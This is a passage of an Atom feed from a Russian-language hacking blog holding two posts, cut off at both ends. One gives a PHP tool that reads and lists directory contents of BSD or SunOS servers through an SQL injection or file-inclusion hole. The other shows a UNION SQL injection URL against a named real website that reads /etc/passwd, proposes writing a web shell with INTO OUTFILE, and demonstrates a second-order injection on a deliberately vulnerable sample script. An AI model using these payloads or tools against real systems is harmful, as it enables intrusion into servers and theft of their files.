АПРЕЛЯ!!!'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_P6c1Ss9IE4g/SdKo2lvBb4I/AAAAAAAAABY/MhC6odlJQ80/s72-c/Google.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-1328209117292980769</id><published>2009-04-01T02:21:00.016+04:00</published><updated>2009-04-01T15:08:43.197+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><title type='text'>Парсинг файла каталога UFS и иже с ними</title><content type='html'>&lt;p&gt;Как выяснилось при чтении каталога в Файловой Системе UFS/UFS2 (c которыми работают ОС *BSD и SunOS) не возникает ошибки и мы можем увидеть не содержимое каталога в традиционном понимании, а содержимое файла, коим по сути и является каталог.  Другими словами при проведении SQL инъекции с возможностью чтения файлов или Lfi (Local file including) можно читать не только содержимое файлов, но и содержимое каталогов. Собственно скрипт представленный ниже для этого и нужен. Функционал прост, в поле вводим URL с уязвимостью позволяющей прочитать каталог и видим результат. Еще раз повторюсь что работает только с ОС работающими c UFS (*BSD и SunOS)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;div class="alt2"  style="margin:0px; padding:6px; border:1px inset; width:530px; height:818px; overflow:auto; background-color:#FFFACA;"&gt;&lt;span style="font-size:85%;"&gt;&lt;code&gt;&lt;span style="color:#000000;"&gt;&lt;span style="color:#007700;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;html&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;br /&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;head&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;br /&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;title&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;Парсинг каталогов FreeBSD от Scipio&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;title&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;br /&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;head&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;br /&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;body&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;br /&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;php&lt;br /&gt;error_reporting&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;0&lt;/span&gt;&lt;span style="color:#007700;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;set_time_limit&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;0&lt;/span&gt;&lt;span style="color:#007700;"&gt;);&lt;br /&gt;if (isset(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$_POST&lt;/span&gt;&lt;span style="color:#007700;"&gt;[&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'pole'&lt;/span&gt;&lt;span style="color:#007700;"&gt;])){&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pole&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$_POST&lt;/span&gt;&lt;span style="color:#007700;"&gt;[&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'pole'&lt;/span&gt;&lt;span style="color:#007700;"&gt;]; &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$fl&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;file_get_contents&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pole&lt;/span&gt;&lt;span style="color:#007700;"&gt;);} else &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pole&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;''&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;form method="post" action="&lt;span style="color:#0000BB;"&gt;&amp;lt;?=$_SERVER&lt;/span&gt;&lt;span style="color:#007700;"&gt;[&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'SCRIPT_NAME'&lt;/span&gt;&lt;span style="color:#007700;"&gt;]&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;?&amp;gt;&lt;/span&gt;"&amp;gt;&lt;br /&gt;&amp;lt;input type="text" size="150" name="pole" value="&lt;span style="color:#0000BB;"&gt;&amp;lt;?=$pole?&amp;gt;&lt;/span&gt;"/&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;span style="color:#0000BB;"&gt;&amp;lt;?php&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#007700;"&gt;if (!empty(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$fl&lt;/span&gt;&lt;span style="color:#007700;"&gt;))&lt;br /&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$s&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;bin2hex &lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$fl&lt;/span&gt;&lt;span style="color:#007700;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$ln&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;strlen&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$s&lt;/span&gt;&lt;span style="color:#007700;"&gt;)-&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;5&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nam&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;FALSE&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;for (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;0&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$ln&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;+=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;2&lt;/span&gt;&lt;span style="color:#007700;"&gt;)&lt;br /&gt;   {       &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$curhex&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;substr&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$s&lt;/span&gt;&lt;span style="color:#007700;"&gt;,&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;,&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;3&lt;/span&gt;&lt;span style="color:#007700;"&gt;);&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nexthex&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;substr&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$s&lt;/span&gt;&lt;span style="color:#007700;"&gt;,&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;+&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;4&lt;/span&gt;&lt;span style="color:#007700;"&gt;,&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;1&lt;/span&gt;&lt;span style="color:#007700;"&gt;);&lt;br /&gt;       if ((&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$curhex&lt;/span&gt;&lt;span style="color:#007700;"&gt;==&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'040'&lt;/span&gt;&lt;span style="color:#007700;"&gt;) and (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nexthex&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'1'&lt;/span&gt;&lt;span style="color:#007700;"&gt;) and (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nexthex&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'8'&lt;/span&gt;&lt;span style="color:#007700;"&gt;))&lt;br /&gt;           {&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pob&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;"&amp;lt;br&amp;gt;"&lt;/span&gt;&lt;span style="color:#007700;"&gt;.&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'&amp;lt;b&amp;gt;[DIR]&amp;lt;/b&amp;gt; '&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nam&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;TRUE&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;+=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;4&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;           }&lt;br /&gt;&lt;br /&gt;       if ((&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$curhex&lt;/span&gt;&lt;span style="color:#007700;"&gt;==&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'080'&lt;/span&gt;&lt;span style="color:#007700;"&gt;) and (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nexthex&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'1'&lt;/span&gt;&lt;span style="color:#007700;"&gt;) and (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nexthex&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'8'&lt;/span&gt;&lt;span style="color:#007700;"&gt;))&lt;br /&gt;           {&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pob&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;"&amp;lt;br&amp;gt;"&lt;/span&gt;&lt;span style="color:#007700;"&gt;.&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'[FILE] '&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nam&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;TRUE&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;+=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;4&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;           }&lt;br /&gt;        if ((&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$curhex&lt;/span&gt;&lt;span style="color:#007700;"&gt;==&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'0a0'&lt;/span&gt;&lt;span style="color:#007700;"&gt;) and (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nexthex&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'1'&lt;/span&gt;&lt;span style="color:#007700;"&gt;) and (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nexthex&lt;/span&gt;&lt;span style="color:#007700;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'8'&lt;/span&gt;&lt;span style="color:#007700;"&gt;))&lt;br /&gt;           {&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pob&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;"&amp;lt;br&amp;gt;"&lt;/span&gt;&lt;span style="color:#007700;"&gt;.&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'&amp;lt;i&amp;gt;[LINK]&amp;lt;/i&amp;gt; '&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nam&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;TRUE&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;+=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;4&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;           }&lt;br /&gt;       if (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nam&lt;/span&gt;&lt;span style="color:#007700;"&gt;===&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;TRUE&lt;/span&gt;&lt;span style="color:#007700;"&gt;)&lt;br /&gt;           {&lt;br /&gt;            if ((&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$s&lt;/span&gt;&lt;span style="color:#007700;"&gt;[&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;]&amp;gt;&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'1'&lt;/span&gt;&lt;span style="color:#007700;"&gt;) and (&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$s&lt;/span&gt;&lt;span style="color:#007700;"&gt;[&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;]&amp;lt;&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'8'&lt;/span&gt;&lt;span style="color:#007700;"&gt;))&lt;br /&gt;                {&lt;br /&gt;                 &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$hx&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;substr&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$s&lt;/span&gt;&lt;span style="color:#007700;"&gt;,&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$i&lt;/span&gt;&lt;span style="color:#007700;"&gt;,&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;2&lt;/span&gt;&lt;span style="color:#007700;"&gt;);&lt;br /&gt;              &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$hx&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;chr&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;hexdec&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$hx&lt;/span&gt;&lt;span style="color:#007700;"&gt;));&lt;br /&gt;              &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pob&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pob&lt;/span&gt;&lt;span style="color:#007700;"&gt;.&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$hx&lt;/span&gt;&lt;span style="color:#007700;"&gt;;&lt;br /&gt;             }&lt;br /&gt;         else {echo &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$pob&lt;/span&gt;&lt;span style="color:#007700;"&gt;; &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$nam&lt;/span&gt;&lt;span style="color:#007700;"&gt;=&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;FALSE&lt;/span&gt;&lt;span style="color:#007700;"&gt;;}&lt;br /&gt;        }&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-1328209117292980769?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/1328209117292980769/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/04/ufs.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/1328209117292980769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/1328209117292980769'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/04/ufs.html' title='Парсинг файла каталога UFS и иже с ними'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-1952315362509110173</id><published>2009-03-31T19:07:00.045+04:00</published><updated>2009-03-31T23:31:06.514+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL INJ'/><title type='text'>Двойные запросы</title><content type='html'>&lt;div&gt;Есть MySQL инъекция:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/*&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;смысл в том, что текущий пользователь БД root и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно.&lt;br /&gt;&lt;br /&gt;К теории, есть например такой скрипт:&lt;br /&gt;&lt;!--&lt;div style="margin:20px; margin-top:5px; background-color: #30333D"&gt;&lt;br /&gt; &lt;div class="smallfont" style="margin-bottom:2px"&gt;PHP код:&lt;/div&gt;--&gt;&lt;br /&gt;&lt;div class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 242px; background-color: rgb(255, 250, 202);"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&amp;lt;?php&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;mysql_connect&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'localhost'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'root'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;mysql_select_db&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'intbrd'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$id&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_GET&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"id"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sql &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"SELECT u_id,u__email,u__name FROM `User` where u_id="&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$id&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$result &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;MySQL_QUERY&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sql&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;mysql_error&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;while(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$us &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;MySQL_FETCH_ARRAY&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$result&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;))&lt;br /&gt;{&lt;br /&gt;echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$us&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'u__email'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;].&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;":"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$us&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'u__name'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;];echo &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&amp;lt;br&amp;gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;  $onl &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;MySQL_QUERY&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"SELECT o_uid,o_key FROM online WHERE o_uid = "&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$us&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"u_id"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]);&lt;br /&gt;while(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$usonl &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;MySQL_FETCH_ARRAY&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$onl&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;))&lt;br /&gt;echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$usonl&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"o_uid"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;].&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;':'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$usonl&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"o_key"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;];&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;!-- php buffer end --&gt;&lt;/div&gt;&lt;/div&gt;(набросал я его чисто для наглядности и примера и показываю на примере своей бд)&lt;br /&gt;&lt;br /&gt;обратившись к скрипту:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;http://localhost/erase.php?id=-2+union+select+1,2,3/*&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;видим:&lt;br /&gt;&lt;div style="border-style: solid; border-color: rgb(128, 128, 132) rgb(227, 227, 229) rgb(227, 227, 229) rgb(128, 128, 132); border-width: 1px; padding: 10px; margin-right: 20px; margin-left: 20px; margin-bottom: 10px;"&gt;2:3&lt;else&gt;&lt;/else&gt;&lt;br /&gt;&lt;/div&gt;обратившись:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;http://localhost/erase.php?id=-2+union+select+0x27,2,3/*&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;(0x27- код кавычки) видим:&lt;br /&gt;&lt;div style="border-style: solid; border-color: rgb(128, 128, 132) rgb(227, 227, 229) rgb(227, 227, 229) rgb(128, 128, 132); border-width: 1px; padding: 10px; margin-right: 20px; margin-left: 20px; margin-bottom: 10px;"&gt;2:3&lt;br /&gt;&lt;div style="font-style: italic;"&gt;Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\erase.php on line 20&lt;else&gt;&lt;/else&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;происходит это потому, что данные, полученные из первого запроса, вставляются во второй запрос.&lt;br /&gt;&lt;br /&gt;Сделаем "внутренний" инъект-запрос:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;-2 union select 